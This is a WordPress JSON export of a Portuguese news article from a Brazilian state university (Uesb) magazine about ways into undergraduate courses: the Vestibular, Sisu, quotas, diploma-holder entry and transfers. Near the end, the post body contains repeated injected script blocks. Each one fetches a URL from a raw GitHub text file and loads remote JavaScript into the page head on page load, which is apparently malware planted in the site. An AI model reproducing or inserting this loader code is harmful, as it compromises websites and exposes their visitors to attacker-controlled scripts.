{"id":4804,"date":"2023-08-16T14:34:53","date_gmt":"2023-08-16T17:34:53","guid":{"rendered":"http:\/\/www2.uesb.br\/revistaeletronica\/?p=4804"},"modified":"2024-11-10T01:30:38","modified_gmt":"2024-11-10T04:30:38","slug":"como-ingressar-em-um-curso-de-graduacao-na-uesb","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/revistaeletronica\/como-ingressar-em-um-curso-de-graduacao-na-uesb\/","title":{"rendered":"Como ingressar em um curso de gradua\u00e7\u00e3o na Uesb?"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" width=\"1140\" height=\"594\" class=\"aligncenter size-full wp-image-4805 img-fluid\" src=\"http:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/materia-gradua\u00e7\u00e3o.jpg\" alt=\"\" srcset=\"https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/materia-gradua\u00e7\u00e3o.jpg 1140w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/materia-gradua\u00e7\u00e3o-300x156.jpg 300w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/materia-gradua\u00e7\u00e3o-1024x534.jpg 1024w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/materia-gradua\u00e7\u00e3o-768x400.jpg 768w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/materia-gradua\u00e7\u00e3o-180x94.jpg 180w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/materia-gradua\u00e7\u00e3o-660x344.jpg 660w\" sizes=\"auto, (max-width: 1140px) 100vw, 1140px\" \/><\/p>\n<h6 class=\"bloco_direita\">Desde 2012, a Uesb seleciona seus estudantes de gradua\u00e7\u00e3o por meio de dois processos seletivos: o Vestibular e o Sisu.<\/h6>\n<p>Fazer parte de uma universidade e poder realizar uma forma\u00e7\u00e3o profissional de qualidade \u00e9 o sonho de milhares de jovens e adultos. Dentro das institui\u00e7\u00f5es p\u00fablicas, esse desejo se torna ainda maior com in\u00fameras possibilidades abertas pela educa\u00e7\u00e3o, e ci\u00eancia. Mas como ingressar em um curso de gradua\u00e7\u00e3o?<\/p>\n<p>Na Uesb, as op\u00e7\u00f5es presenciais de cursos de gradua\u00e7\u00e3o (licenciaturas e bacharelados) abrem vagas por diversas modalidades. Para quem est\u00e1 buscando a forma\u00e7\u00e3o pela primeira vez, os dois processos de sele\u00e7\u00e3o poss\u00edveis s\u00e3o o tradicional Vestibular da pr\u00f3pria Institui\u00e7\u00e3o e o Sistema de Sele\u00e7\u00e3o Unificada (Sisu) do Minist\u00e9rio da Educa\u00e7\u00e3o (MEC).<\/p>\n<p>Nessa dupla possibilidade de ter acesso, Emily Moraes conquistou sua vaga. Vindo da Teixeira de Freitas (BA), a estudante cursa Enfermagem, no campus de Jequi\u00e9, e conta que ingressar em uma universidade p\u00fablica, em um curso da \u00e1rea de Sa\u00fade, sempre foi um sonho. Aprovada no Vestibular, ela tamb\u00e9m tentou uma vaga pelo Sisu. \u201cAcredito que seja uma grande vantagem, uma vez que s\u00e3o duas maneiras distintas de adentrar na universidade. Assim, o estudante pode optar por aquela que mais tiver facilidade em se desenvolver e sobressair\u201d, opina.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" width=\"1140\" height=\"700\" class=\"aligncenter size-full wp-image-4806 img-fluid\" src=\"http:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Vestibular-3.jpg\" alt=\"\" srcset=\"https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Vestibular-3.jpg 1140w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Vestibular-3-300x184.jpg 300w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Vestibular-3-1024x629.jpg 1024w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Vestibular-3-768x472.jpg 768w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Vestibular-3-180x111.jpg 180w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Vestibular-3-560x344.jpg 560w\" sizes=\"auto, (max-width: 1140px) 100vw, 1140px\" \/><\/p>\n<p><strong>As tradicionais formas de acesso<\/strong><\/p>\n<p>Realizado desde 1981, o <a href=\"http:\/\/www2.uesb.br\/vestibular\/\">Vestibular Uesb<\/a> acontece anualmente, com aplica\u00e7\u00e3o das provas nas cidades de Itapetinga, Jequi\u00e9 e Vit\u00f3ria da Conquista. Hoje, metade das vagas de cada curso s\u00e3o disponibilizadas neste processo seletivo, al\u00e9m de vagas adicionais para candidatos ind\u00edgenas, quilombolas e pessoas com defici\u00eancia.<\/p>\n<p>Atualmente, s\u00e3o dois dias de provas, onde os estudantes respondem quest\u00f5es de disciplinas ministradas no Ensino M\u00e9dio, como L\u00edngua Portuguesa, Literatura Brasileira, L\u00edngua Estrangeira, Matem\u00e1tica, Ci\u00eancias Humanas (Hist\u00f3ria e Geografia) e Ci\u00eancias da Natureza (F\u00edsica, Qu\u00edmica e Biologia). Al\u00e9m disso, o Vestibular conta com projetos que buscam valorizar a cultura e a arte, nos quais <a href=\"http:\/\/www2.uesb.br\/revistaeletronica\/literatura-no-vestibular-questoes-raciais-marcam-escolhas-desta-edicao\/\" target=\"_blank\" rel=\"noopener noreferrer\">livros<\/a> e <a href=\"http:\/\/www2.uesb.br\/revistaeletronica\/qual-e-a-questao-vestibular-uesb-propoe-dialogo-com-o-cinema\/\" target=\"_blank\" rel=\"noopener noreferrer\">filmes<\/a> s\u00e3o selecionados para que os candidatos leiam ou assistam e reflitam sobre diversas tem\u00e1ticas sociais.<\/p>\n<p>\u201cA gente considera que o Vestibular tem algumas caracter\u00edsticas regionais. Para al\u00e9m de cumprir essa normatiza\u00e7\u00e3o do acesso aos cursos de gradua\u00e7\u00e3o da Uesb, existem quest\u00f5es que envolvem planejamento e realiza\u00e7\u00e3o pr\u00f3pria, em uma din\u00e2mica importante de autonomia. Al\u00e9m disso, h\u00e1 uma grande movimenta\u00e7\u00e3o nas cidades, impulsionando a quest\u00e3o econ\u00f4mica, por exemplo\u201d, avalia o professor Reginaldo Pereira, pr\u00f3-reitor de Gradua\u00e7\u00e3o da Universidade.<\/p>\n<p>A outra metade das vagas para todos os cursos de gradua\u00e7\u00e3o \u00e9 preenchida pelo <a href=\"http:\/\/www.uesb.br\/sisu\/\">Sisu<\/a>. O Sistema utiliza a nota do Exame Nacional do Ensino M\u00e9dio realizado sempre no ano anterior \u00e0 sele\u00e7\u00e3o. Em 2011, a Uesb publicou a <a href=\"http:\/\/www2.uesb.br\/prae\/wp-content\/uploads\/2014\/08\/RESOLU%C3%87%C3%83O-CONSEPE-55-Ades%C3%A3o-UESB-ao-SISU.pdf\">Resolu\u00e7\u00e3o 55\/2011<\/a>, aderindo ao Sistema. No ano seguinte, o primeiro processo de sele\u00e7\u00e3o foi realizado pela Institui\u00e7\u00e3o.<\/p>\n<p>Na \u00e9poca, a ades\u00e3o ao Sisu contava com um incentivo do MEC atrav\u00e9s do Programa Nacional de Assist\u00eancia Estudantil para as Institui\u00e7\u00f5es de Educa\u00e7\u00e3o Superior P\u00fablicas Estaduais (Pnaest). A proposta da iniciativa era realizar um repasse de recursos para serem investidos no desenvolvimento das a\u00e7\u00f5es de Assist\u00eancia Estudantil.<\/p>\n<p>\u201cO Sisu democratizou o acesso. Antes dele, os estudantes n\u00e3o tinham a possibilidade de escolher uma institui\u00e7\u00e3o para al\u00e9m do seu local, da sua regi\u00e3o, especialmente pelos custos. Al\u00e9m disso, da implanta\u00e7\u00e3o do Sisu para c\u00e1, as universidades tamb\u00e9m tiveram, como foi o nosso caso, uma amplia\u00e7\u00e3o de suas pol\u00edticas de perman\u00eancia estudantil\u201d, lembra o pr\u00f3-reitor ao destacar a import\u00e2ncia de n\u00e3o s\u00f3 possibilitar o acesso, mas garantir que o estudante possa concluir sua trajet\u00f3ria acad\u00eamica na Universidade.<\/p>\n<h6>Com a implanta\u00e7\u00e3o do Programa de A\u00e7\u00f5es Afirmativas, cerca de 13 mil estudantes cotistas j\u00e1 ingressaram na Uesb.<\/h6>\n<p><strong>Pol\u00edtica de A\u00e7\u00f5es Afirmativas<\/strong><\/p>\n<p>Em 2008, a Uesb aprovou a <a href=\"http:\/\/www2.uesb.br\/consepe\/arquivos\/36%20-%20Programa%20de%20A%C3%A7%C3%B5es%20Afirmativas.pdf\">Resolu\u00e7\u00e3o 36\/2008<\/a>, que implanta e regulamenta o Programa de A\u00e7\u00f5es Afirmativas. Por ele, a Universidade assegura, entre outras coisas, o Sistema de Reserva de Vagas e as Cotas Adicionais. O primeiro \u00e9 ofertado tanto no Vestibular como no Sisu, onde metade das vagas s\u00e3o destinadas a alunos de escolas p\u00fablicas. Esse Sistema ainda estabelece uma parcela de vagas para pessoas que se autodeclarem negras (pretos e pardos), desde que tamb\u00e9m atendem ao crit\u00e9rio social de origem escolar.<\/p>\n<p>J\u00e1 as Cotas Adicionais fazem parte do Vestibular da Institui\u00e7\u00e3o. Por meio delas, tr\u00eas vagas a mais s\u00e3o ofertadas em todos os <a href=\"http:\/\/catalogo.uesb.br\/cursos\">47 cursos de gradua\u00e7\u00e3o da Uesb<\/a>, direcionadas para candidatos quilombolas, ind\u00edgenas e com defici\u00eancia (uma para cada grupo). \u201cEssa pol\u00edtica impacta, positivamente, o acesso e a configura\u00e7\u00e3o em nossos cursos de gradua\u00e7\u00e3o. A manuten\u00e7\u00e3o da Uesb com as vagas adicionais no Vestibular reafirma o seu compromisso com a inclus\u00e3o, com a acessibilidade, com a diversidade\u201d, afirma Pereira.<\/p>\n<div id=\"attachment_4809\" class=\"wp-caption aligncenter\" ><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4809 size-full img-fluid\" src=\"http:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Ana-Paula-e-Caroline-Portador-de-Diploma-4.jpeg\" alt=\"\" width=\"1140\" height=\"700\" srcset=\"https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Ana-Paula-e-Caroline-Portador-de-Diploma-4.jpeg 1140w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Ana-Paula-e-Caroline-Portador-de-Diploma-4-300x184.jpeg 300w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Ana-Paula-e-Caroline-Portador-de-Diploma-4-1024x629.jpeg 1024w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Ana-Paula-e-Caroline-Portador-de-Diploma-4-768x472.jpeg 768w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Ana-Paula-e-Caroline-Portador-de-Diploma-4-180x111.jpeg 180w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/05\/Ana-Paula-e-Caroline-Portador-de-Diploma-4-560x344.jpeg 560w\" sizes=\"auto, (max-width: 1140px) 100vw, 1140px\" \/><p class=\"wp-caption-text\">Ana Paula Souza e Caroline Matos encontraram na sele\u00e7\u00e3o de portador de diploma uma porta para mudan\u00e7a profissional<\/p><\/div>\n<p><strong>Mudan\u00e7a de trajet\u00f3ria profissional<\/strong><\/p>\n<p>Ao longo da vida, muitos estudantes e profissionais decidem mudar de carreira ou, at\u00e9 mesmo, buscar uma forma\u00e7\u00e3o complementar. \u00c9 o caso de Ana Paula Souza e Caroline Matos. Atualmente, elas cursam Ci\u00eancias Cont\u00e1beis na Uesb e foi atrav\u00e9s de uma sele\u00e7\u00e3o especial para portadores de diploma que tiveram a oportunidade de tra\u00e7ar novos caminhos em suas hist\u00f3rias.<\/p>\n<p>Em 2004, Ana Paula concluiu o curso de Administra\u00e7\u00e3o. Em 2017, Caroline finalizou sua gradua\u00e7\u00e3o em Engenharia El\u00e9trica. Ap\u00f3s serem aprovadas no processo seletivo de portador de diploma da Uesb, elas ampliam, agora, sua forma\u00e7\u00e3o na \u00e1rea de Contabilidade. \u201cA partir do 5\u00b0 semestre, o curso de Engenharia El\u00e9trica passou a n\u00e3o contemplar minhas expectativas e, \u00e0 medida que a gradua\u00e7\u00e3o avan\u00e7ava, eu me identificava menos com a \u00e1rea de atua\u00e7\u00e3o. A escolha por uma segunda gradua\u00e7\u00e3o se deve a uma busca por uma realiza\u00e7\u00e3o profissional\u201d, conta Caroline.<\/p>\n<p>O desejo de continuar buscando novos aprendizados foi o que motivou Ana Paula nessa nova jornada. \u201cDecidi fazer agora, depois de 20 anos, por estar com a vida mais tranquila, sem muitas preocupa\u00e7\u00f5es. Minha motiva\u00e7\u00e3o \u00e9 gostar da \u00e1rea de Cont\u00e1beis, que requer atualiza\u00e7\u00f5es a todo momento, principalmente com rela\u00e7\u00e3o a normas. Toda e qualquer educa\u00e7\u00e3o ter\u00e1 sempre pontes a novos conhecimentos\u201d, relata.<\/p>\n<p>Em 2019, a <a href=\"http:\/\/www.uesb.br\/wp-content\/uploads\/2023\/03\/Resolucao-55-2019-Normas-e-criterios-para-ingresso-de-Portador-de-Diploma.pdf\">regulamenta\u00e7\u00e3o para sele\u00e7\u00e3o de candidatos que j\u00e1 possuem um diploma<\/a> foi publicada pelo Conselho Superior de Ensino, Pesquisa e Extens\u00e3o (Consepe). As vagas abertas s\u00e3o sempre oriundas das remanescentes dos procedimentos regulares de acesso inicial (Vestibular e Sisu). O processo de sele\u00e7\u00e3o \u00e9 mais simplificado, utilizando o hist\u00f3rico escolar da primeira gradua\u00e7\u00e3o do candidato somado a uma prova escrita, em formato de reda\u00e7\u00e3o, com temas ligados \u00e0 nova \u00e1rea desejada.<\/p>\n<p>A mudan\u00e7a de curso tamb\u00e9m pode ser feita para quem ainda est\u00e1 na gradua\u00e7\u00e3o. Atrav\u00e9s do processo de transfer\u00eancia interna e externa, alunos da Uesb e de outras Institui\u00e7\u00f5es de Ensino Superior podem fazer a troca de curso dentro da mesma \u00e1rea. O processo seletivo \u00e9, normalmente, aberto todo semestre, com realiza\u00e7\u00e3o de teste de conhecimento espec\u00edfico do curso pretendido pelo candidato.<\/p>\n<p>\u00c9 importante destacar que a transfer\u00eancia s\u00f3 \u00e9 permitida entre cursos da mesma \u00e1rea. Caso o estudante curse Fisioterapia, por exemplo, ele s\u00f3 poder\u00e1 tentar este processo seletivo para cursos como Ci\u00eancias Biol\u00f3gicas, Enfermagem e Obstetr\u00edcia, Medicina, Odontologia, entre outros listados na \u00e1rea de Ci\u00eancias da Sa\u00fade. Toda a lista de \u00e1reas e os demais detalhes deste processo s\u00e3o regulamentados pelas Resolu\u00e7\u00f5es <a href=\"http:\/\/www.uesb.br\/wp-content\/uploads\/2023\/03\/Resolucao-48-2000-Areas-de-conhecimento-dos-cursos-de-graduacao.pdf\">48\/2000<\/a> e <a href=\"http:\/\/www.uesb.br\/wp-content\/uploads\/2023\/03\/Resolucao-163-2000-Transferencia-interna-e-externa-de-alunos-de-graduacao.pdf\">163\/2000<\/a>, publicadas pelo Consepe.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" width=\"1140\" height=\"2672\" class=\"aligncenter size-full wp-image-4925 img-fluid\" src=\"http:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/TABELA_REVISTA.png\" alt=\"\" srcset=\"https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/TABELA_REVISTA.png 1140w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/TABELA_REVISTA-128x300.png 128w, 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educa\u00e7\u00e3o.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 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